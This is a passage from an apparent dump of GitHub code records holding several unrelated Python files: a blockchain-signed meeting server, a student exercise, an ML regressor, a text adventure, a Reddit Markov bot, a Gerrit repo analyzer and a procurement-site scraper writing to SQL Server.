return False, err_ack\n\n return True, None\n\n\ndef validate_timestamp(event) -> (bool, dict):\n \"\"\"\n Validates the timestamp of an event\n :return: returns a tuple of (bool, dict). The bool is if the execution was ok,\n dict returns the error event in case the execution failed\n \"\"\"\n current_time = int(time.time())\n if not (current_time - timestamp_tolerance <= event.timestamp <= current_time + timestamp_tolerance):\n err_event = get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.TIMESTAMP_NOT_SYNC,\n details='Server Timestamp : ' + str(current_time)))\n\n return False, err_event\n\n return True, None\n\n\ndef validate_schema(event_dict) -> (bool, dict):\n \"\"\"\n Validates the schema using JSON Schema\n :return: returns a tuple of (bool, dict). The bool is if the execution was ok,\n dict returns the error event in case the execution failed\n \"\"\"\n ok, err = event_schema_validator.validate(event_dict)\n if not ok:\n err_event = get_error_ack(\"unknown\", \"unknown\",\n content=AckErrorContent(error_code=EventError.MALFORMED_EVENT,\n details=err))\n\n return False, err_event\n\n return True, None\n\n\ndef validate_signature(event, staff, meeting, check_contract=False) -> (bool, dict):\n \"\"\"\n Validates the signature of an event\n :return: returns a tuple of (bool, dict). The bool is if the execution was ok,\n dict returns the error event in case the execution failed\n \"\"\"\n log.debug('Validating Signature...')\n\n sig_addr = str(auth.get_sig_address_from_event(event.to_json_dict()))\n\n # Check session key, or if it doesnt exist, check with actual public key in smart contract\n ok = False\n if check_contract:\n log.debug('Checking DeeId Contract')\n ok = auth.ethkey_in_deeid_contract(sig_addr, staff.id)\n log.debug('Eth key in contract? ' + str(ok))\n else:\n # Get Meeting session details to get the session key\n meeting_session_details = ongoing_meetings.get(meeting.id, None) # type: OngoingMeeting\n meeting_session_key = None\n if meeting_session_details is not None:\n meeting_session_key = meeting_session_details.session_keys.get(staff.id, None)\n\n if meeting_session_key is None:\n err_event = get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.BAD_SESSION_KEY_SIGNATURE,\n details=''))\n return False, err_event\n\n ok = sig_addr.lower() == meeting_session_key.lower()\n log.debug('Sig Addr ' + sig_addr)\n log.debug('Session key ' + meeting_session_key)\n log.debug('Session key matches up? ' + str(ok))\n\n if not ok:\n err_event = get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.BAD_SIGNATURE,\n details=''))\n\n return False, err_event\n\n return True, None\n\n\ndef validate_preliminary_authority(event, roles) -> (bool, dict):\n \"\"\"\n Does preliminary checks to see if the user is authorised to post the event\n :return: returns a tuple of (bool, dict). The bool is if the execution was ok,\n dict returns the error event in case the execution failed\n \"\"\"\n if not roles:\n err_event = get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.UNAUTHORISED,\n details=''))\n\n return False, err_event\n return True, None\n\n\ndef end_meeting_session(meeting, event, signed_ack_event):\n \"\"\"\n Gracefully ends a meeting by populating smart contract and the database\n \"\"\"\n # Write the event hash of the meeting to smart contract - COSTS MONEY\n meeting_session_details = ongoing_meetings.get(meeting.id, None) # type: OngoingMeeting\n try:\n start_hash = meeting_session_details.start_event.id\n end_hash = signed_ack_event.id\n smart_contract.set_event_hash(meeting, start_hash, end_hash)\n except Exception as e: # We catch all exceptions as there are too many\n log.error(e)\n traceback.print_tb(e.__traceback__)\n return False, get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.INTERNAL_ERROR,\n details=''))\n\n # Mark meeting as ended\n meeting.ended = True\n db.update_meeting(meeting.id, meeting.to_json_dict())\n\n print('============= MEETING END =============')\n print(ongoing_meetings[meeting.id])\n print(signed_ack_event)\n ongoing_meetings.pop(meeting.id)\n close_room(meeting.id)\n\n\n@socketio.on('room-message')\ndef room_message(event_string):\n \"\"\"\n Main function that handles all events that enter through the web socket\n \"\"\"\n # Parse json as dict\n try:\n event_json = json.loads(event_string)\n except ValueError as ve:\n log.error(\"Error Parsing room-message as JSON!\")\n log.error(ve)\n traceback.print_tb(ve.__traceback__)\n return json.dumps(sign(get_error_ack(\"unknown\", \"unknown\",\n content=AckErrorContent(error_code=EventError.MALFORMED_EVENT,\n details='Cant parse message as JSON'))).to_json_dict())\n\n # Validate JSON dict using schema\n ok, err_event = validate_schema(event_json)\n if not ok:\n log.error(\"Sending error msg\")\n errormsg = json.dumps(sign(err_event).to_json_dict())\n log.error(\"======== error_msg: \" + errormsg)\n return errormsg\n\n # Parse dict as event object\n try:\n event = Event.parse(event_json)\n except KeyError as ve:\n log.error(\"Error Parsing room-message!\")\n log.error(ve)\n traceback.print_tb(ve.__traceback__)\n return json.dumps(sign(get_error_ack(\"unknown\", \"unknown\",\n content=AckErrorContent(error_code=EventError.MALFORMED_EVENT,\n details='Cant parse message as Event'))).to_json_dict())\n\n # Check timestamp\n ok, err_event = validate_timestamp(event)\n if not ok:\n return json.dumps(sign(err_event).to_json_dict())\n\n # Get the staff\n try:\n staff = Staff.parse(db.get_staff(event.by))\n except KeyError as ke:\n log.error(ke)\n traceback.print_tb(ke.__traceback__)\n return json.dumps(sign(get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.STAFF_NOT_FOUND,\n details=''))).to_json_dict())\n except TypeError as te:\n log.error(te)\n traceback.print_tb(te.__traceback__)\n return json.dumps(sign(get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.STAFF_NOT_FOUND,\n details=''))).to_json_dict())\n\n # Get the meeting\n try:\n meeting = Meeting.parse(db.get_meeting(event.meeting_id))\n except KeyError as ke:\n log.error(ke)\n traceback.print_tb(ke.__traceback__)\n return json.dumps(sign(get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.MEETING_NOT_FOUND,\n details=''))).to_json_dict())\n\n except TypeError as te:\n log.error(te)\n traceback.print_tb(te.__traceback__)\n return json.dumps(sign(get_error_ack(event.id, event.meeting_id,\n content=AckErrorContent(error_code=EventError.MEETING_NOT_FOUND,\n details=''))).to_json_dict())\n\n # Check signature, before trusting anything it says\n\n if event.type in [MeetingEventType.JOIN, MeetingEventType.START]: # We check contract for join and start\n ok, err_event = validate_signature(event, staff, meeting, check_contract=True)\n if not ok:\n return json.dumps(sign(err_event).to_json_dict())\n else:\n ok, err_event = validate_signature(event, staff, meeting)\n if not ok:\n return json.dumps(sign(err_event).to_json_dict())\n\n # Get the roles\n roles = get_role(staff, meeting)\n\n # A preliminary authority check to see if the user can make any statements about the meeting\n ok, err_event = validate_preliminary_authority(event, roles)\n if not ok:\n return json.dumps(sign(err_event).to_json_dict())\n\n # Get the event type\n event_type = MeetingEventType(event.type)\n ack_event = None\n ok = False\n end_meeting = False\n send_privately = False\n\n if event_type == MeetingEventType.START:\n ok, ack_event = start(event, staff, meeting, roles)\n\n if event_type == MeetingEventType.JOIN:\n ok, ack_event = join(event, staff, meeting, roles)\n\n if event_type == MeetingEventType.LEAVE:\n ok, ack_event = leave(event, staff, meeting)\n\n if event_type == MeetingEventType.POLL:\n ok, ack_event = poll(event, staff, meeting, roles)\n\n if event_type == MeetingEventType.VOTE:\n ok, ack_event = vote(event, staff, meeting, roles)\n\n if event_type == MeetingEventType.POLL_END:\n ok, ack_event = end_poll(event, staff, meeting, roles)\n\n if event_type == MeetingEventType.COMMENT or event_type == MeetingEventType.REPLY or event_type == MeetingEventType.DISAGREEMENT:\n ok, ack_event = comment_reply_disagreement(event, staff, meeting, roles)\n\n if event_type == MeetingEventType.DISCUSSION:\n ok, ack_event = discussion(event, staff, meeting, roles)\n\n if event_type == MeetingEventType.PATIENT_DATA_CHANGE:\n ok, ack_event = patient_data_change(event, staff, meeting, roles)\n\n if event_type == MeetingEventType.END:\n ok, ack_event = end(event, staff, meeting, roles)\n if ok:\n end_meeting = True\n\n if not ok: # If not ok we send the error ack event privately\n return json.dumps(sign(ack_event).to_json_dict())\n else:\n # If an event has been referenced\n check_and_remove_ref_event(meeting, event.ref_event)\n\n # Add ack and event to unreferenced events\n add_event_as_unref(meeting, event)\n add_event_as_unref(meeting, ack_event)\n\n # Sign the ack\n signed_ack_event = sign(ack_event)\n\n if not send_privately: # Only Broadcast if the send_privately is set to False\n # Broadcast event\n send(json.dumps(event.to_json_dict()), broadcast_room=meeting.id)\n send(json.dumps(signed_ack_event.to_json_dict()), broadcast_room=meeting.id)\n\n record(event, meeting)\n record(signed_ack_event, meeting)\n\n if end_meeting:\n end_meeting_session(meeting, event, signed_ack_event)\n\n # Send the ack event to the user privately as well\n return json.dumps(signed_ack_event.to_json_dict())\n\n\nif __name__ == '__main__':\n socketio.run(app, host=host, port=port)\n","repo_name":"bakshi41c/mdt_server","sub_path":"meeting_server.py","file_name":"meeting_server.py","file_ext":"py","file_size_in_byte":37081,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"19853879359","text":"\"\"\"\n-Imagine uma situação na qual você deve realizar o cadastro\nde uma lista de compras em um sistema. Caada produto comprado\ndeverá ser registrado com seu nome, quantidade e valor unitário\n\n\"\"\"\n\nitem = []\nmercado = []\n\nfor i in range(3):\n item.append(input('Digite o nome do item: '))\n item.append(int(input('Digite a quantidade: ')))\n item.append(float(input('Digite o valor: ')))\n mercado.append(item[:])\n item.clear()\nprint(mercado)","repo_name":"JhonMeddev/Python","sub_path":"Aula6/Teorica/ex1.py","file_name":"ex1.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"5217874379","text":"import pandas as pd\nfrom sklearn.tree import DecisionTreeRegressor\nfrom sklearn.model_selection import train_test_split\nimport numpy as np\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.ensemble import RandomForestRegressor\nimport matplotlib.pyplot as plt\n\ndef main():\n data=pd.read_csv(\"filtered2.csv\")\n y=data[\"Rating\"].to_numpy()\n data=data.drop([\"Category\",\"Free\",\"Minimum Android\",\"Content Rating\"],axis=1)\n Xs=data.drop([\"Rating\"],axis=1).to_numpy()\n\n # split dataset\n xTrain,xTest,yTrain,yTest=train_test_split(Xs,y,test_size=0.2)\n\n # find best depth\n max_depth=41\n depths=list(range(3,max_depth))\n mse=[]\n for depth in depths:\n tree=DecisionTreeRegressor(max_depth=depth)\n tree.fit(xTrain,yTrain)\n predicted=tree.predict(xTest)\n mse.append(mean_squared_error(yTest,predicted,squared=False))\n plt.plot(depths,mse)\n plt.xlabel(\"depth\")\n plt.ylabel(\"MSE\")\n plt.savefig(\"dt-depth.png\")\n plt.show()\n\n # find best min samples\n max_samples=500000\n samples=list(range(100,max_samples+1,2500))\n mse=[]\n optimal=0\n error=20\n for sample in samples:\n tree=DecisionTreeRegressor(max_depth=10,min_samples_leaf=sample)\n tree.fit(xTrain,yTrain)\n predicted=tree.predict(xTest)\n e=mean_squared_error(yTest,predicted,squared=False)\n mse.append(e)\n if(e= len(choices):\r\n print(\"Invalid choice, please try again\")\r\n continue\r\n elif choice == -1:\r\n break\r\n self.current_room = self.rooms[choices[choice][1]]\r\n\r\n\r\n# define the rooms in the game\r\nroom_1 = Room(\"Room 1\", \"This is room 1.\", [\r\n (\"Go to room 2\", 1), (\"Go to room 3\", 2)])\r\nroom_2 = Room(\"Room 2\", \"This is Room 2.\", [(\"Go to room 1\", 0)])\r\nroom_3 = Room(\"Room 3\", \"This is Room 3.\", [(\"Go to room 1\", 0), (\"Quit\", -1)])\r\n\r\n# start the game\r\n\r\ngame = Game([room_1, room_2, room_3])\r\ngame.play()\r\n","repo_name":"sanju50201/Complete-Python-Projects","sub_path":"Set 1/py/adventure.py","file_name":"adventure.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"27971207189","text":"import subprocess as sp\nimport random\nimport praw\nimport time, threading\n\nsubreddit = \"usersims\"\nexePath = \"markov.exe\"\nusers = [\"sanimus\", \"thisisgilbates\"]\nuser_agent = \"usersims 1.0 by /u/plebmaster69\"\nr = praw.Reddit(user_agent=user_agent)\nsubmitProbability = 0.1 # probability for bot to submit new post\n\ndef submitNew():\n\ttitle = \"\"\n\tcontent = \"\"\n\ttryCount = 0\n\t\n\twhile tryCount < 5:\n\t\t# select random user\n\t\tuser = random.choice(users)\n\t\tr.login(\"changeme\", \"changeme\", disable_warning=True)\n\t\ttxtPath = \"text/\" + user + \".txt\"\n\t\t\n\t\t# random word\n\t\tword = \"%RANDOM%\"\n\n\t\t# get title\n\t\tcmd = exePath + \" \" + txtPath + \" \" + word\n\t\ttest = sp.call(cmd)\n\t\t# get whats returned\n\t\tf = open('output.txt', \"r\")\n\t\ttitle = f.read()\n\t\tf.close()\n\t\ttryCount+=1\n\t\t\n\t\t# get content\n\t\tcmd = exePath + \" \" + txtPath + \" \" + word\n\t\ttest = sp.call(cmd)\n\t\t# get whats returned\n\t\tf = open('output.txt', \"r\")\n\t\tcontent = f.read()\n\t\tf.close()\n\t\t\n\t\ttryCount+=1\n\t\t\n\t\tif title == \"\" or content == \"\":\n\t\t\tcontinue\n\t\telse:\n\t\t\tr.submit(subreddit, title, text=content)\n\t\t\tbreak\n\t\t\ndef postReply():\n\tsubmissions = r.get_subreddit(subreddit).get_new(limit=10)\n\tsubmissions = list(submissions)\n\t# select random recent submission\n\tsubmission = random.choice(submissions)\n\twords = submission.title.split() # remove garbage at start\n\t\n\ttryCount = 0\n\tcontent = \"\"\n\t\n\twhile tryCount < 10:\n\t\t# select random user\n\t\tuser = random.choice(users)\n\t\tr.login(\"changeme\", \"changeme\", disable_warning=True)\n\t\ttxtPath = \"text/\" + user + \".txt\"\n\t\t\n\t\t# random word from the title\n\t\tword = random.choice(words)\n\t\t\n\t\t# get content\n\t\tcmd = exePath + \" \" + txtPath + \" \" + word\n\t\ttest = sp.call(cmd)\n\t\t# get whats returned\n\t\tf = open('output.txt', \"r\")\n\t\tcontent = f.read()\n\t\tf.close()\n\t\t\n\t\ttryCount+=1\n\t\t\n\t\tif content == \"\":\n\t\t\tcontinue\n\t\telse:\n\t\t\tsubmission.add_comment(content)\n\t\t\tbreak\n\ndef main():\n\t# do every 10 minutes\n\tthreading.Timer(600, main).start()\n\t# decide if to create new post or to \n\tx = random.random()\n\tif x < submitProbability:\n\t\tsubmitNew()\n\telse:\n\t\tpostReply()\n\nmain()","repo_name":"wimpyburger/markov-poster","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"15019742196","text":"import logging\nimport os\nfrom collections import namedtuple\nimport threading\n\nfrom du.gerrit.Utils import Utils as GerritUtils\nfrom du.utils.ShellCommand import ShellCommand, CommandFailedException\nfrom du.gerrit.rest.change.ChangeEndpoint import ChangeEndpoint\nfrom du.gerrit.ssh.Connection import Connection\nfrom du.gerrit.ssh.Change import Change\nfrom du.drepo.Utils import Utils\nfrom du.gerrit.rest.change.QueryOption import QueryOption\nfrom du.gerrit.ChangeStatus import ChangeStatus\nfrom du.drepo.report.Types import *\nimport concurrent.futures\n\nlogger = logging.getLogger(__name__.split(\".\")[-1])\n\n\nclass Analyzer:\n \"\"\"\n DRepo repositories cls. Uses the manifest and goes trough all local repositories buildling metadata along the way\n \"\"\"\n\n @classmethod\n def analyze(\n cls, manifest, httpCredentials, numMergedCommits, tagPattern=None, numThreads=1\n ):\n \"\"\"\n Analyze projects\n\n @param manifest Input manifest\n @param httpCredentials Credentials used for REST calls to Gerrit\n @param numMergedCommits Number of merged commits to include in the report\n @param tagPattern Tag pattern to match\n \"\"\"\n\n projectInfoResults = {}\n\n projectsToAnalyze = [proj for proj in manifest.projects]\n\n with concurrent.futures.ThreadPoolExecutor(max_workers=numThreads) as executor:\n # Launch threads\n futures = []\n for i in range(numThreads):\n futures.append(\n executor.submit(\n cls.__analyzer,\n projectsToAnalyze,\n manifest,\n httpCredentials,\n tagPattern,\n numMergedCommits,\n )\n )\n\n # Wait for results\n for future in futures:\n for projectInfo in future.result():\n projectInfoResults[projectInfo.manifestProject] = projectInfo\n\n executor.shutdown()\n\n # Sort the results in the same order as defined in the manifest\n projectsInfo = []\n for project in manifest.projects:\n if project in projectInfoResults:\n projectsInfo.append(projectInfoResults[project])\n\n # Host name\n hostName = ShellCommand.execute([\"hostname\"]).stdoutStr.strip()\n\n # User name\n userName = ShellCommand.execute([\"whoami\"]).stdoutStr.strip()\n\n return ReportInfo(manifest, projectsInfo, hostName, userName)\n\n @classmethod\n def __analyzer(\n cls, projectsToAnalyze, manifest, httpCredentials, tagPattern, numMergedCommits\n ):\n \"\"\"\n Project analyzer thread\n\n @param projectsToAnalyze List of projects that are not yet analyzed (shared between threads\n @param manifest see cls.analyze#manifest\n @param httpCredentials see cls.analyze#httpCredentials\n @param tagPattern see cls.analyze#tagPattern\n @param numMergedCommits Number of merged commits to include in the report\n \"\"\"\n\n threadName = threading.current_thread().name\n\n logger.debug(\"[%s] start analyzer\" % threadName)\n\n result = []\n\n while projectsToAnalyze:\n # Take next available project\n try:\n project = projectsToAnalyze.pop()\n except IndexError:\n break\n\n logger.debug(\"[%s] analyzing %r\" % (threadName, project.name))\n\n # Process\n projectInfo = cls.__analyzeProject(\n manifest, project, httpCredentials, tagPattern, numMergedCommits\n )\n if projectInfo:\n result.append(projectInfo)\n\n logger.debug(\"[%s] done analyzing %r\" % (threadName, project.name))\n\n return result\n\n @classmethod\n def __analyzeProject(\n cls, manifest, proj, httpCredentials, tagPattern, numMergedCommits\n ):\n logger.debug(\"processing %r ..\" % proj.name)\n\n # Local project directory\n localDir = os.path.join(manifest.selectedBuild.root, proj.path)\n\n logger.debug(\"directory %r\" % localDir)\n\n # Don't crash in case one of the projects was deleted from the disk, just report a warning\n if not os.path.isdir(localDir) or not os.path.isdir(\n os.path.join(localDir, \".git\")\n ):\n logger.warning(\"not valid git directory, skpping ..\")\n return None\n\n # Create a connnection for Gerrit communication\n conn = Utils.createQueryConnection(proj.remote, httpCredentials)\n\n # Get tag name\n tagInfo = cls.__getTagInfo(localDir, tagPattern)\n\n # Get commit log of the project\n log = cls.__getGitLog(localDir)\n\n historyLength = numMergedCommits\n\n commits = []\n\n # Go trough the log\n for logItem in log:\n # Extract full message from the local .git\n message = ShellCommand.execute(\n [\"git\", \"show\", \"-s\", \"--format=%B\", logItem.hash],\n workingDirectory=localDir,\n ).stdoutStr\n\n # Extract author (TODO Can we get message & author in a single command?)\n author = ShellCommand.execute(\n [\"git\", \"log\", \"--format=%an\", logItem.hash + \"^!\"],\n workingDirectory=localDir,\n ).stdoutStr\n\n # Extract gerrit change from local .git message\n changeId = GerritUtils.extractChangeId(message)\n\n # Gerrit change info\n gerritChangeInfo = None\n\n if not changeId:\n # No change ID (not a gerrit commmit ?)\n logger.warning(\n \"could not extract Gerrit change ID, for commit %r from message %r\"\n % (logItem.hash, message)\n )\n else:\n # Fetch information about this change\n gerritChangeInfo = cls.__fetchGerritChangeInfo(\n conn, changeId, proj.name, logItem.hash\n )\n\n commitInfo = CommitInfo(\n logItem.title,\n logItem.hash,\n logItem.shortHash,\n author,\n gerritChangeInfo,\n )\n commits.append(commitInfo)\n\n if (\n commitInfo.gerritChangeInfo\n and commitInfo.gerritChangeInfo.status == ChangeStatus.MERGED\n ):\n historyLength -= 1\n\n if historyLength == 0:\n # Reached allowed number of merged commits depth\n logger.debug(\"Maximum history length reached %d\" % numMergedCommits)\n break\n\n return ProjectInfo(proj, tagInfo, commits)\n\n @classmethod\n def __fetchGerritChangeInfo(cls, conn, changeId, projectName, commitHash):\n \"\"\"\n Fetch a change from specific project\n\n @conn Gerrit connection\n @param changeId Change ID\n @param projectName Project name\n @param commitHash Local commit hash\n\n @return Change information\n \"\"\"\n\n # Fetch data from server\n if isinstance(conn, ChangeEndpoint):\n changes = conn.query(\n changeId,\n options=[QueryOption.ALL_REVISIONS, QueryOption.CURRENT_COMMIT],\n )\n else:\n changes = conn.query(\n Connection.QUERY_ARG_PATCHSETS,\n Connection.QUERY_ARG_CURRENT_PATCHSET,\n change=changeId,\n )\n\n # Find a change in the project we're processing now\n patchsetNumber = None\n changeInfo = None\n for change in changes:\n # Ignore changes which do not belong to our project\n if change.project != projectName:\n continue\n\n changeInfo = change\n\n # Try to figure out the patchset number, by comparing hash values\n if isinstance(conn, ChangeEndpoint):\n for revisionHash, revision in change.revisions.items():\n if revisionHash == commitHash:\n patchsetNumber = revision.number\n break\n\n else:\n for i in change.patchSets:\n if i.revision == commitHash:\n patchsetNumber = i.number\n break\n\n if patchsetNumber:\n # Found exactly this hash on Gerrit\n break\n\n if not changeInfo:\n logger.warning(\n \"could find change %r in project %r\" % (changeId, projectName)\n )\n return None\n\n return GerritChangeInfo(\n changeInfo.number,\n patchsetNumber,\n changeInfo.status,\n changeInfo.currentRevision.number,\n )\n\n @classmethod\n def __getGitLog(cls, directory):\n \"\"\"\n Get a list of git commits for given directory\n\n @param directory Directory path\n\n @return a list of log items\n \"\"\"\n\n LogItem = namedtuple(\"LogItem\", \"hash, shortHash, title\")\n\n # List the logs long/short hashes and their subjects\n cmd = ShellCommand.execute(\n [\"git\", \"log\", \"--pretty=%H %h %s\"], workingDirectory=directory\n )\n\n items = []\n\n for line in cmd.stdoutStr.splitlines():\n # Find the first whitespace, indicating the start of the short hash\n longHashEndPos = line.find(\" \")\n\n # Find the first whitespace after that, indicating the start of subject\n shortHashEndPos = line.find(\" \", longHashEndPos + 1)\n\n commitLongHash = line[:longHashEndPos].strip()\n commitShortHash = line[longHashEndPos + 1 : shortHashEndPos]\n commitMessage = line[shortHashEndPos + 1 :].rstrip()\n\n items.append(LogItem(commitLongHash, commitShortHash, commitMessage))\n\n return items\n\n @classmethod\n def __getTagInfo(cls, directory, tagPattern=None):\n \"\"\"\n @param directory Git directory\n @param tagPattern Tag pattern to look for, in order to provide matchedTagName/cleanMatchedTagName fields\n \"\"\"\n\n tagName = None\n tagCleanName = None\n\n # Get HEAD hash ID\n headHash = ShellCommand.execute(\n [\"git\", \"rev-parse\", \"--short\", \"HEAD\"], workingDirectory=directory\n ).stdoutStr.rstrip()\n\n # Get head name (if it's tagged)\n headTagName = None\n try:\n headTagName = ShellCommand.execute(\n [\"git\", \"describe\", \"--exact-match\", \"--tags\", headHash],\n workingDirectory=directory,\n ).stdoutStr.rstrip()\n except CommandFailedException:\n pass\n\n tagRefHash = None\n if headTagName:\n tagRefHash = ShellCommand.execute(\n [\"git\", \"show-ref\", headTagName, \"--hash\"], workingDirectory=directory\n ).stdoutStr.rstrip()\n\n # Find a tag which matches given pattern (may be dirty if commits are present before this tag)\n # For example if we're looking for \"master*\" tags we could get \"master-0.32.0-1-g9298258bf\" as a result\n # because there are commits after the \"master-0.32\" tag\n matchedTagName = None\n if tagPattern:\n try:\n matchedTagName = ShellCommand.execute(\n [\"git\", \"describe\", \"--match\", tagPattern, \"--tags\"],\n workingDirectory=directory,\n ).stdoutStr.rstrip()\n except CommandFailedException:\n logger.warning(\"Could not find any tags which match %r\" % tagPattern)\n\n # We're looking for the last clean tag name which matches the patter nabove (e.g. instead of \"master-0.32.0-1-g9298258bf\", we'll get \"master-0.32\")\n cleanMatchedTagName = None\n if tagPattern:\n try:\n cleanMatchedTagName = ShellCommand.execute(\n [\"git\", \"describe\", \"--match\", tagPattern, \"--tags\", \"--abbrev=0\"],\n workingDirectory=directory,\n ).stdoutStr.rstrip()\n except CommandFailedException:\n logger.warning(\"Could not find any tags which match %r\" % tagPattern)\n\n return TagInfo(\n headHash, tagRefHash, headTagName, matchedTagName, cleanMatchedTagName\n )\n","repo_name":"spiricn/DevUtils","sub_path":"du/drepo/report/Analyzer.py","file_name":"Analyzer.py","file_ext":"py","file_size_in_byte":12387,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"32513643439","text":"# Important imports\nimport requests\nfrom datetime import datetime\nfrom bs4 import BeautifulSoup\nimport pyodbc\n# Connecting to SQL server\nconn = pyodbc.connect('Driver={SQL Server};'\n 'Server=jackson;'\n 'Database=OppHunter;'\n 'Trusted_Connection=yes;')\ncursor = conn.cursor()\n\n\n# Function that will simply truncate the table through python\n# - mainly to make life easier\ndef truncateSQL(tableName):\n cursor.execute('truncate table ' + tableName)\n\n\n# Given a file, it will execute any .sql files.\ndef executeScriptsFromFile(filename):\n # Open and read the file as a single buffer\n fd = open(filename, 'r')\n sqlFile = fd.read()\n fd.close()\n\n # all SQL commands (split on ';')\n sqlCommands = sqlFile.split(';')\n\n # Execute every command from the input file\n for command in sqlCommands:\n # This will skip and report errors\n # For example, if the tables do not yet exist, this will skip over\n # the DROP TABLE commands\n try:\n cursor.execute(command)\n conn.commit()\n print(str(command) + \" excecuted.\")\n except:\n print(\"Command skipped: \" + str(command))\n\n\n# Pass in the number of pages you want to scrape and the amount of jobs you\n# want to scrape. Returns an array of strings that will be passed through the\n# url generator so that many pages can be scraped.\ndef calculatePageNumber(numberOfPages, jobsPerPage, site):\n if(site == 'DASNY'):\n runningCounter = 0\n startNum = [str(0)]\n else:\n runningCounter = 1\n startNum = [str(1)]\n for num in range(0, numberOfPages-1):\n if(site == 'NYSCR'):\n runningCounter += jobsPerPage\n else:\n runningCounter += 1\n startNum.append(str(runningCounter))\n return startNum\n\n\n# You pass in the name of the table you want to analyze. The function will then\n# look at the table and find the last job inserted- allows for tables to be\n# extended instead of overwritten each time\ndef findLastJob(tableName):\n cursor.execute('select max(jobID) from ' + tableName)\n columnMessage = str(cursor.fetchall()[0])\n if(columnMessage == '(None, )'):\n return 0\n else:\n locationComma = columnMessage.find(',')\n return int(columnMessage[1:locationComma])\n\n\n# You want the URL to be very specific. Apply the filters on the site to\n# get the exact url that you want. Insert the start which is the string we\n# set above.\n\n# Function takes in the name of the site we are scraping and the page number we\n# are looking at. The urls will have to be hard coded, but doing it in a\n# function will allow it to be modular. Returns the finished url to work with.\ndef getURL(site, startingNumber, category):\n if(site == 'NYSCR'):\n urlFromFunction = 'https://www.nyscr.ny.gov/adsOpen.cfm?startnum=' + startingNumber + '&orderBy=55&numPer=50&myAdsOnly=2&adClass=b&adCat=&adCounty=&adType=&mbe=0&wbe=0&dbe=0&keyword='\n elif(site == 'DASNY'):\n urlFromFunction = 'https://www.dasny.org/opportunities/rfps-bids?field_solicitation_classificatio_target_id=All&field_solicitation_type_target_id=All&field_goals_target_id=All&field_set_aside_target_id=All&query=&page=' + startingNumber\n elif(site == 'GOVUK'):\n urlFromFunction = 'https://www.contractsfinder.service.gov.uk/Search/Results?&page='+ startingNumber + '#dashboard_notices'\n elif(site == 'RFPDB'):\n urlFromFunction = 'http://www.rfpdb.com/view/category/name/'+ category + '/page/' + startingNumber\n return urlFromFunction\n\n\n# Returns an array of job containers from the HTML. A job container is the\n# closest HTML object you get to the information you want, that includes all of\n# the information you need. Inputs are the url, the page number you want to\n# scrape, how the object is defined and what the class name is. Should work for\n# every type of site.\ndef getContainers(site, startingNumber, HTMLobject, className, category):\n url = getURL(site, startingNumber, category)\n # Just connecting to the website\n response = requests.get(url)\n soup = BeautifulSoup(response.text, \"html.parser\")\n if(getScrapingCase(site) == 'RFPDB'):\n return soup.select('li[itemtype=\"http://schema.org/CreativeWork/RequestForProposal\"]')\n else:\n return soup.findAll(HTMLobject, class_=className)\n\n\n# Given the name of the site returns a list of two database names, the raw and\n# Pivot tables\ndef getDatabase(site):\n return [site + '_raw', site + '_pvt']\n\n\n# Given a site, returns the scraping case\ndef getScrapingCase(site):\n if(site == 'NYSCR' or site == 'DASNY'):\n return 'TwoTags'\n elif(site == 'GOVUK'):\n return 'OneTag'\n elif(site == 'RFPDB'):\n return 'RFPDB'\n\n\n# Given the site, gives a URL case\ndef getURLCase(site):\n if(site == 'NYSCR'):\n return 'noURL'\n else:\n return 'seperateURL'\n\n\n# Brute force scraping method if the website doesn't use the common labels.\n# Will be different for every site. Has to be run twice, once for labels and\n# another time for results, returns a list of those items.\ndef listScrape(container, site, type):\n tempList = []\n # Case exclusivley for RFPDB\n if(site == 'RFPDB'):\n if(type == 'labels'):\n tempList.append(container.find('span',\n class_='comment')['itemprop'])\n tempList.append(container.find('time')['itemprop'])\n tempList.append('Location:')\n tempList.append('Categories:')\n if(type == 'results'):\n tempList.append(container.find('span', class_='comment').text)\n tempList.append(container.find('time')['datetime'])\n tempList.append(container.select_one('span[itemprop=\"address\"]').text)\n tempList.append(container.find('ul', class_='categories').text)\n return tempList\n\n\n# Given the database name, it will input the information into a raw table in\n# the correct format, and then commit the command. We want to replace the back-\n# slashes because of python viewing it as an escape character.\ndef insertIntoSQL(databaseName, jobNumber, label, result, site):\n cursor.execute('INSERT into ' + databaseName + ' (jobID, labelText, '\n + 'resultText, website) VALUES (\\''\n + str(jobNumber).replace('\\'', '\\'\\'') + '\\', \\''\n + label.replace('\\'', '\\'\\'') + '\\', \\''\n + result.replace('\\'', '\\'\\'') + '\\', \\''\n + site + '\\')')\n conn.commit()\n\n\n# Takes inputs, finds the items we want to import, and then uploads it to the\n# SQL server. Container is found through getContainers(), labelHTML and\n# resultHTML are the tag that they are classified as, there def's are the class\n# name, databasename is the database that you want to insert into, pageNumber\n# and site are self explanatory. Calls insertIntoSQL a lot to insert this info.\ndef searchAndUpload(container, labelHTML, resultHTML, titleHTML, labelDef,\n resultDef, titleDef, databaseName, jobNumber, pageNumber,\n site):\n # RFPDs hardcode scrape\n if(getScrapingCase(site) == 'RFPDB'):\n container_labels = listScrape(container, site, 'labels')\n container_results = listScrape(container, site, 'results')\n\n else:\n # Every other site has a label container\n container_labels = container.findAll(labelHTML, class_=labelDef)\n if(getScrapingCase(site) == 'TwoTags'):\n # If it is a site with a label and result tag format then it is\n # two tag.\n container_results = container.findAll(resultHTML, 